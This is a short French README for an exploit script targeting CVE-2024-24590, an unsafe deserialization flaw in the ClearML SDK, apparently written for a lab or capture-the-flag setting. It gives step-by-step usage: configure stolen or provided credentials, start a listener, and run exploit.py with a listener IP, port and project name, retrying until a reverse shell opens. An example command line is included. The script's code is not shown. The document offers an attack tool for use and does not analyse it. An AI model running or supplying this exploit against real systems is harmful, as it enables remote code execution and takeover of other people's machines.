CVE-2024-24590

Une déserialisation de données non fiables peut se produire dans les versions 0.17.0 à 1.14.2 du SDK client de la plateforme ClearML d'Allegro AI, permettant à un artefact malveillant téléchargé d'exécuter du code arbitraire sur le système d'un utilisateur final lorsqu'il est interagi.

Utilisation

1. collez les informations d'identification fournies et exécutez clearml-init
2. exécutez le script Python exploit.py dans un terminal et ayez un écouteur dans un autre terminal
3. il peut être nécessaire d'exécuter l'exploit plusieurs fois pour obtenir un reverse shell

usage: exploit.py [-h] -i IP -p PORT -P PROJECT

options:
  -h, --help  show this help message and exit
  -i IP       IP address of the listener
  -p PORT     Port number of the listener
  -P PROJECT  Name of the existing project

example: python exploit.py -i 10.10.14.60 -p 4444 -P 'Black Swan'

Détails de l'exploit

1. https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/
2. https://www.cvedetails.com/cve/CVE-2024-24590/